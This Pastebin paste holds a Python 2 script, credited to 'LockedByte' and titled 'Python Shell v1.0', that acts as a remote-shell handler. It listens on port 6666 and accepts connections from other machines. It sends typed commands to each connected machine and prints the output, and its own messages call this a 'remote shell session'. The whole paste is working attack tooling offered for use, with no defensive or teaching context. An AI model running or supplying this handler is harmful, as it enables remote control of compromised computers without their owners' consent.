Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # CREADO POR LOCKEDBYTE (Twitter => @LockedByte)
- import socket
- import threading
- import os.path
- host = "0.0.0.0"
- port = 6666
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print """
- Python Shell v1.0
- -----------------------------------------
- """
- print ("[*] Handler started on " + host + ":" + str(port))
- sock.bind((host, port))
- while True:
- try:
- print ("[*] Waiting for a session...")
- sock.listen(1)
- def worker(*args):
- conn = args[0]
- addr = args[1]
- try:
- print('[+] Connection from {}.'.format(addr))
- print("[*] Don't use [CTRL] + [C] or Session will crash")
- print("[*] Starting a remote shell session\n")
- while True:
- try:
- command = raw_input("$ ")
- if command == "exit":
- exit()
- else:
- conn.send(command)
- res = conn.recv(1024)
- print("\n" + res + "\n")
- except:
- print("[-] Err.: An unknown error ocurred.")
- finally:
- conn.close()
- while 1:
- conn, addr = sock.accept()
- threading.Thread(target=worker, args=(conn, addr)).start()
- except KeyboardInterrupt:
- print("[-] To exit from the shell, execute 'exit'")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement